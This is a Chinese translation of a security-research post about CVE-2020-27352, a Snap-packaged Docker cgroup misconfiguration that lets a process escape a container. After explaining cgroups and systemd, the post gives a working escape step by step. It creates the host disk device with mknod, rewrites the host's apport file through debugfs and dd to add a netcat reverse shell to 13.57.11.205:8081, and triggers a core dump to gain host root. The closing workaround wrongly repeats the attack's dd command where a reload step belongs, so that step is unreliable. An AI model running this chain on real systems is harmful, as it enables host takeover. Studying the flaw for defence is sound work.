Docker越獄,你抓到它了嗎?
本文轉(zhuǎn)載自微信公眾號「新鈦云服」,作者徐磊 翻譯。轉(zhuǎn)載本文請聯(lián)系新鈦云服公眾號。
因?yàn)橐粋€關(guān)于Docker容器安全的事件,把曾一度以穩(wěn)定性和安全性著稱的Docker,演繹成了擁有特權(quán)漏洞的容器引擎,使其能夠直接訪問底層宿主機(jī),就好比CVE-2020-27352安全漏洞導(dǎo)致代碼在主機(jī)上執(zhí)行,一夜之間,Docker容器的安全性形同虛設(shè):
Docker在一夜之間更改了cgroup,這使我們能夠提升權(quán)限并獲得主機(jī)的root訪問權(quán)限。我們能夠利用cgroups在主機(jī)上運(yùn)行反向Shell并獲得代碼執(zhí)行權(quán)限。
此問題是由于Canonical的Snap中的配置錯誤而導(dǎo)致的,并且影響了許多產(chǎn)品。它被指定為CVE-2020-27352
CVE-2020-27352
在為docker生成systemd服務(wù)單元時,snapd未指定"Delegate=yes",結(jié)果systemd會將進(jìn)程從這些容器中移入主守護(hù)程序的cgroup中。重新加載系統(tǒng)單元時會自動對齊。這可能會向快照中的容器授予原本不希望的其他特權(quán)。
一、Linux容器–命名空間和cgroup
Docker是利用cgroup和namespaces來創(chuàng)建安全,可靠和強(qiáng)大的隔離框架。為了構(gòu)建輕量級容器,需要創(chuàng)建有效的資源管理和隔離,為了使我們能夠虛擬化系統(tǒng)環(huán)境,Linux內(nèi)核以namespace和cgroups來提供低級隔離機(jī)制。
從根本上說,namespace是限制Linux進(jìn)程樹對各種系統(tǒng)實(shí)體(例如網(wǎng)絡(luò)接口,進(jìn)程樹,用戶ID和文件系統(tǒng)安裝)的訪問和可見性的機(jī)制。
另一方面,Linux cgroups功能不僅提供了一種限制機(jī)制,而且還可以管理和說明一組進(jìn)程的資源使用情況。它限制并監(jiān)視系統(tǒng)資源,例如CPU時間,系統(tǒng)內(nèi)存,磁盤帶寬,網(wǎng)絡(luò)帶寬等。
這樣看上去cgroup看起來非常安全。是這樣嗎?如果有人在Docker容器上錯誤配置了cgroups那該怎么辦?
讓我們看看Docker在其“安全”網(wǎng)頁上對cgroup的評價:
起到阻止一個容器訪問或影響另一個容器的數(shù)據(jù)和進(jìn)程的作用,它們對于抵御某些拒絕服務(wù)攻擊非常重要。它們在公共和私有PaaS之類的多租戶平臺上尤其重要,即使在某些應(yīng)用程序出現(xiàn)異常時,也要保證一致的正常runtime。
這就是說,如果Docker容器的cgroup配置錯誤的話,我們面臨的最糟糕的情況就是拒絕服務(wù)。
二、Devices cgroup的特殊案例
盡管cgroup被描述為實(shí)現(xiàn)資源核算和限制的機(jī)制,但“內(nèi)核” cgroups文檔中的“Devices” cgroup(也稱為“設(shè)備白名單控制器”)比較特殊。因此,Devices cgroup的作用被描述為:
實(shí)施cgroup來跟蹤并強(qiáng)制執(zhí)行對設(shè)備文件的打開和mknod限制…”
紅帽Linux指南對此不透明的定義提供了一些啟示:
設(shè)備子系統(tǒng)允許或拒絕cgroup中的任務(wù)訪問設(shè)備。
回到內(nèi)核cgroups文檔,可以清晰的看到:
訪問權(quán)限是r,w和m的組合。
確切地說,從我們的安全角度出發(fā),無論是創(chuàng)建,讀取還是寫入,都要對 Linux內(nèi)核的設(shè)備禁止各種訪問。
受此白名單機(jī)制控制的設(shè)備可以是內(nèi)核使用的任何設(shè)備。也包括安全的設(shè)備,例如/dev/null和/dev/zero,還包括USB設(shè)備(例如/dev/uhid),cdroms(/dev/ cdrom),甚至內(nèi)核的硬盤(例如/dev/sda設(shè)備)。
總結(jié)來說:Devices cgroup是cgroup子系統(tǒng)中的一個特殊的組成部分,因?yàn)樗粌H一種“資源核算和限制”機(jī)制,而且還是一個內(nèi)核設(shè)備白名單控制器,與系統(tǒng)的資源耗盡相比,它可能造成更大的破壞。
三、從Docker默認(rèn)容器到主機(jī)上的RCE
Systemd是linux下的一種初始化軟件,為系統(tǒng)提供了很多系統(tǒng)組件。它旨在統(tǒng)一不同Linux之間的服務(wù)配置,并被大多數(shù)Linux發(fā)行版廣泛采用。
Systemd的主要組件之一是服務(wù)管理器,它用于初始化系統(tǒng),并且引導(dǎo)系統(tǒng)用戶空間和管理用戶進(jìn)程。
作為其操作的一部分,systemd創(chuàng)建并管理監(jiān)視各種cgroup。Systemd的cgroup管理理念基于一些設(shè)計思想,包括systemd官方網(wǎng)站引用的“單寫者規(guī)則”:
單寫者規(guī)則:這意味著每個cgroup中只有一個單寫者,即一個進(jìn)程管理它。只有一個進(jìn)程應(yīng)該擁有一個特定的cgroup,并且當(dāng)它擁有該cgroup時,它是排他性的,沒有其他東西可以同時對其進(jìn)行操作。
該規(guī)則對docker系統(tǒng)有深遠(yuǎn)的影響。
如果容器管理器在系統(tǒng)cgroup中創(chuàng)建和管理cgroup,會違反規(guī)則,因?yàn)閏group由systemd管理,因此對其他所有人都沒有限制。
在systemd的控制下,用于管理系統(tǒng)cgroup層次結(jié)構(gòu)中的cgroup的容器runtime違反了此規(guī)則,這可能會干擾systemd對cgroup的管理。你可能已經(jīng)猜到,配置錯誤的systemd服務(wù)可能假裝管理自己創(chuàng)建的cgroup,實(shí)際上,systemd從上方監(jiān)督所有事務(wù):管理,創(chuàng)建和刪除服務(wù)之下的cgroup ,但是上層根本沒有注意到。
這是容器轉(zhuǎn)型的核心。
當(dāng)systemd重新加載一個單元時,它首先清理混亂的cgroup,將子cgroup中產(chǎn)生的所有進(jìn)程移到較高的進(jìn)程。特別是,如果systemd管理dockerd服務(wù),它將在重新加載時清除所有docker容器的cgroup,從而將容器進(jìn)程保留在較高的cgroup子系統(tǒng)層次結(jié)構(gòu)中。
為什么systemd會突然重新加載?
系統(tǒng)重裝比人們想象的要復(fù)雜得多。在啟用服務(wù),禁用一項(xiàng)服務(wù),添加服務(wù)依賴項(xiàng)等之后,它將重新加載其任何服務(wù)的配置文件。這意味著,如果某些事情導(dǎo)致系統(tǒng)服務(wù)發(fā)生更改,那么即使是不太活躍的服務(wù)也可能容易受到影響。
Debian的“無人值守升級就是此類事物的一個著名例子。
無人值守升級是Debian軟件包管理系統(tǒng)之一,其主要目的是“通過最新的具有安全性(及其他)更新自動使計算機(jī)保持最新狀態(tài)。”
無人值守升級是一項(xiàng)定期任務(wù),它在預(yù)配置的時間內(nèi)運(yùn)行一次。它會自動下載并安裝安全更新,并且默認(rèn)情況下會在包括Ubuntu桌面系統(tǒng)和服務(wù)器系統(tǒng)在內(nèi)的各種系統(tǒng)上啟用。升級某些服務(wù)時,它們的systemd單元配置會更改,這導(dǎo)致systemd重新加載整個系統(tǒng),如下:
- $ sudo journalctl -u apt-daily-upgrade.service
- Dec 10 08:49:42 ubuntu systemd[1]: Starting Daily apt upgrade and clean activities...
- Dec 10 08:55:51 ubuntu systemd[1]: apt-daily-upgrade.service: Succeeded.
- Dec 10 08:55:51 ubuntu systemd[1]: Finished Daily apt upgrade and clean activities.
如上所示,Ubuntu每日升級服務(wù)始于08:49:42。此過程檢查是否有任何強(qiáng)制性升級或者要下載的應(yīng)用。以下是自動升級過程的結(jié)果:
- $ journalctl --no-pager | grep "systemd\[1\]: Reloading\."
- Dec 10 08:50:47 ubuntu systemd[1]: Reloading.
- Dec 10 08:50:48 ubuntu systemd[1]: Reloading.
- Dec 10 08:50:50 ubuntu systemd[1]: Reloading.
由于每天自動升級,在8:50的時候systemd的重新加載將會連續(xù)發(fā)生。具有諷刺意味的是,這是安全漏洞的突破口。
四、可能的解決方案
系統(tǒng)開發(fā)人員意識到某些服務(wù)需要管理自己的cgroup,并允許systemd為這些服務(wù)委派cgroup子樹。委托的cgroup本身由systemd管理,但是程序可以自由地在其中創(chuàng)建子cgroup,而不會受到systemd的干擾,如systemd網(wǎng)站中所述:
systemd將不再擺弄cgroup樹的子樹。它不會更改其下的任何cgroup的屬性,也不會創(chuàng)建或刪除其下的任何cgroup,也不會在認(rèn)為有用的情況下跨子樹的邊界遷移進(jìn)程。
允許runtime(例如Docker)從systemd請求cgroup委派,從而獲得特權(quán)自行管理其cgroup。實(shí)際上,我們在各種程序包管理器中檢查的大多數(shù)Docker引擎程序包默認(rèn)情況下都啟用此選項(xiàng),因此不易受此特定漏洞的影響。
Snap是由Canonical團(tuán)隊(duì)針對基于Linux的系統(tǒng)開發(fā)的軟件打包和部署系統(tǒng)。現(xiàn)成的各種Linux發(fā)行版都支持它,例如Ubuntu,Manjaro,Zorin OS等。它也可用于許多其他發(fā)行版,例如CentOS,Debian,F(xiàn)edora,Kali Linux,Linux Mint,Pop!_OS,Raspbian,Red Hat Enterprise Linux和openSUSE。許多著名的軟件公司都在Snap Store中出售其軟件。
從Docker 17.03開始,Snap存儲區(qū)還提供了自己的Docker引擎和客戶端軟件包。
Snap與systemd內(nèi)置集成,從而允許包含守護(hù)程序的軟件包將自身注冊為systemd單元。安裝了這樣的快照程序包后,快照程序守護(hù)程序(snapd)會代表該軟件包的守護(hù)程序生成systemd單元文件(systemd配置文件)。
但是,到目前為止,snapd還不支持系統(tǒng)單位文件的Delegate選項(xiàng)。
cgroup的配置錯誤
由于快照中缺少此功能,因此Docker快照無法自己單獨(dú)管理容器cgroup,從而使systemd擁有這些cgroup的所有權(quán)并暴露這種錯誤配置。
確定了問題的根源之后,讓我們探索一些證據(jù)。可以在/proc/
- 12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 11:cpu,cpuacct:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 10:pids:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 9:blkio:/system.slice/snap.docker.dockerd.service
- 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 7:devices:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 5:rdma:/
- 4:memory:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 0::/system.slice/snap.docker.dockerd.service
在上面的示例中,我們可以清楚地看到設(shè)備cgroup映射到Docker和容器ID(ba339…)下的文件夾。這是我們期望在Docker守護(hù)程序管理cgroup時看到的正確映射。
正如我們在系統(tǒng)上看到的那樣,systemd可能會自發(fā)接管Docker的容器cgroup,結(jié)果如下所示:
- 12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 11:cpu,cpuacct:/system.slice/snap.docker.dockerd.service
- 10:pids:/system.slice/snap.docker.dockerd.service
- 9:blkio:/system.slice/snap.docker.dockerd.service
- 8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 7:devices:/system.slice/snap.docker.dockerd.service
- 6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 5:rdma:/
- 4:memory:/system.slice/snap.docker.dockerd.service
- 3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
- 0::/system.slice/snap.docker.dockerd.service
“ a ”代表所有類型的設(shè)備,“ *:*”表示主機(jī)上所有可用的設(shè)備,“ rwm ”表示我們現(xiàn)在被允許從所有設(shè)備讀取,寫入所有設(shè)備和Mknod(制造新設(shè)備)。
- 發(fā)動攻擊
cgroups的錯誤配置將默認(rèn)Docker容器變成了對容器環(huán)境和底層主機(jī)更具有威脅性和攻擊性的東西。
為了演示攻擊,我們將假定在默認(rèn)Docker容器中運(yùn)行了一個惡意進(jìn)程。攻擊分為四個階段:
在容器中,創(chuàng)建與基礎(chǔ)主機(jī)的硬盤相對應(yīng)的設(shè)備。
閱讀core_pattern內(nèi)核文件的內(nèi)容,看看我們是否可以利用它。
利用內(nèi)核的核心轉(zhuǎn)儲文件機(jī)制來生成攻擊機(jī)的反向shell。
生成分段錯誤,以便內(nèi)核將生成核心轉(zhuǎn)儲并接管主機(jī)。
- 階段1:創(chuàng)建設(shè)備
查找主機(jī)將哪個設(shè)備用作其根設(shè)備的最佳方法是詢問/proc/cmdline文件。
- root@ba3398f7201b:/tmp# cat /proc/cmdline
- BOOT_IMAGE=/boot/vmlinuz-5.9.0 root=UUID=43796265-7241-726b-204c-6162732052756c65 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet
現(xiàn)在,我們需要使用帶有根UUID的findfs來查找實(shí)際的Linux設(shè)備:
- root@ba3398f7201b:/tmp# findfs UUID=43796265-7241-726b-204c-6162732052756c65
- /dev/sda5
我們還可以簡單地使用mount和lsblk查找主機(jī)的硬盤驅(qū)動器設(shè)備。
現(xiàn)在創(chuàng)建設(shè)備:
- root@ba3398f7201b:/tmp# mknod /dev/sda5 b 8 5
- 階段2:利用Linux核心轉(zhuǎn)儲文件機(jī)制
在大多數(shù)GNU/Linux系統(tǒng)中,當(dāng)某些用戶進(jìn)程崩潰時,內(nèi)核會生成核心轉(zhuǎn)儲文件。例如,當(dāng)應(yīng)用程序由于無效的內(nèi)存訪問(SIGSEGV)而崩潰時,將生成一個核心文件。此核心轉(zhuǎn)儲文件包含終止時進(jìn)程內(nèi)存的映像,有助于調(diào)試應(yīng)用程序崩潰。這樣的故障信號可以容易地從容器內(nèi)部產(chǎn)生。
位于/proc/sys/kernel/中的core_pattern文件用于指定核心轉(zhuǎn)儲文件名稱模式。我們可以使用預(yù)定的corename格式說明符來確定內(nèi)核在生成核心轉(zhuǎn)儲文件時應(yīng)使用的確切文件名,但是,如果core_pattern文件的第一個字符是管道'|',內(nèi)核會將其余模式視為運(yùn)行的命令。
讓我們檢查core_pattern文件:
- root@ba3398f7201b:/tmp# cat /proc/sys/kernel/core_pattern
- |/usr/share/apport/apport %p %s %c %d %P %E
因此,無論何時生成核心轉(zhuǎn)儲,內(nèi)核都將執(zhí)行/usr/share/中的apport文件。現(xiàn)在,我們應(yīng)該可以訪問主機(jī)的硬盤,并可以檢查是否可以讀取apport文件然后進(jìn)行更改。
- 階段3:訪問并接管apport文件
在此階段,我們使用debugfs –一種特殊的文件系統(tǒng)調(diào)試實(shí)用程序,它支持直接從硬盤驅(qū)動器設(shè)備進(jìn)行讀取和寫入。
- root@ba3398f7201b:/tmp# debugfs /dev/sda5
- debugfs 1.42.12 (29-Aug-2014)
- debugfs:
我們可以像使用shell提示符一樣使用debugfs提示符。因此,我們更改為/usr/share/apport/:
- debugfs: cd /usr/share/apport
然后使用stat獲取有關(guān)apport文件的信息:
- debugfs: stat apport
- Inode: 1180547 Type: regular Mode: 0755 Flags: 0x80000
- Generation: 3835493899 Version: 0x00000000:00000001
- User: 0 Group: 0 Size: 29776
- File ACL: 0 Directory ACL: 0Links: 1 Blockcount: 64
- Fragment: Address: 0 Number: 0 Size: 0
- ctime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
- atime: 0x5fe1e665:32c27c14 -- Tue Dec 22 12:28:21 2020
- mtime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
- crtime: 0x5fb63c3a:359629b8 -- Thu Nov 19 09:34:50 2020
- Size of extra inode fields: 32
- EXTENTS:
- (0-7):5330129-5330136
我們將使用此信息從基礎(chǔ)主機(jī)硬盤讀取和寫入apport文件。
為此,我們將使用Linux實(shí)用程序dd,該實(shí)用程序允許我們從Linux設(shè)備讀取和寫入特定信息。
- root@ba3398f7201b:/tmp# dd if=/dev/sda5 skip=42641032 count=64 of=/tmp/apport
現(xiàn)在我們在容器的/tmp/apport中擁有整個apport文件,讓我們看一下其中的內(nèi)容:
- root@ba3398f7201b:/tmp# cat apport | more
- #!/usr/bin/python3
- # Collect information about a crash and create a report in the directory
- # specified by apport.fileutils.report_dir.
- # See https://wiki.ubuntu.com/Apport for details.
- #
- # Copyright (c) 2006 - 2016 Canonical Ltd.
- # Author: Martin Pitt <martin.pitt@ubuntu.com>
- #
- # This program is free software; you can redistribute it and/or modify it
- # under the terms of the GNU General Public License as published by the
- # Free Software Foundation; either version 2 of the License, or (at your
- # option) any later version. See http://www.gnu.org/copyleft/gpl.html for
- # the full text of the license.
- import sys, os, os.path, subprocess, time, traceback, pwd, io
- import signal, inspect, grp, fcntl, socket, atexit, array, struct
- import errno, argparse
- import apport, apport.fileutils
- #
- # functions
- --More--
該文件看起來像python3腳本,因此我們要做的就是添加os.system()調(diào)用以運(yùn)行netcat反向shell。由于我們無意更改文件的大小,因此我們還需要確保從文件中刪除與添加到文件中的字符數(shù)相同的字符。
由于我們的攻擊機(jī)器正在偵聽端口8081處的IP 13.57.11.205,因此添加以下行:
- os.system(‘/usr/bin/busybox nc 13.57.11.205 8081 -e/bin/bash’)
并保存文件。
接下來,我們應(yīng)該將文件復(fù)制回硬盤驅(qū)動器。為此,我們再次使用“ dd”:
- root@ba3398f7201b:/tmp# dd of=/dev/sda5 seek=42641032 count=64 if=/tmp/apport
注意,我們切換了輸入文件(if)和輸出文件(of),現(xiàn)在我們使用'seek'而不是'skip'。
所以,現(xiàn)在我們已經(jīng)寫了Apport會文件恢復(fù)到主機(jī)的文件系統(tǒng),我們已經(jīng)準(zhǔn)備好了4個階段的攻擊。
- 階段4:武器化
為了武器化我們創(chuàng)建的設(shè)置,我們要做的就是生成一個細(xì)分錯誤。
我們可以通過編譯并執(zhí)行以下簡短的c代碼來做到這一點(diǎn):
- int main( void)
- {
- char *aaa = 0;
- *aaa = 0;
- return 1; // this line should not be reached…
- }
在成功針對Docker默認(rèn)容器為該漏洞提供武器之后,我們著手找出其他哪些容器/沙盒供應(yīng)商也容易受到攻擊。kubernetes,microk8s和已棄用的AWS IoT Greengrass V1也受此問題影響,并且容易受到此類攻擊。
結(jié)論:如果使用Canonical的Snap軟件包管理器管理軟件包,則系統(tǒng)可能容易受到CVE-2020-27352的攻擊,就容器而言,這是一個嚴(yán)重的漏洞,并且可能會影響數(shù)百萬個Linux臺式機(jī)和服務(wù)器。
容器的安全性僅與整個系統(tǒng)(包括Linux初始化和服務(wù)管理器以及Linux軟件包管理器)的配置一樣安全。正如我們已經(jīng)證明的那樣,必須注意確保整個系統(tǒng)(不僅是Docker的系統(tǒng))的配置能夠支持容器框架的多種需求。
如果您的Linux系統(tǒng)配置不正確,您可以使用以下命令,手動編輯系統(tǒng)Docker服務(wù)單元文件作為臨時解決方法:
- contena@ubuntu: $ sudo systemctl edit snap.docker.dockerd.service
然后添加以下行:Delegate = yes。保存文件并使用以下命令重新加載:
- root@ba3398f7201b:/tmp# dd of=/dev/sda5 seek=42641032 count=64 if=/tmp/apport
原文:https://www.cyberark.com/resources/threat-research-blog/the-strange-case-of-how-we-escaped-the-docker-default-container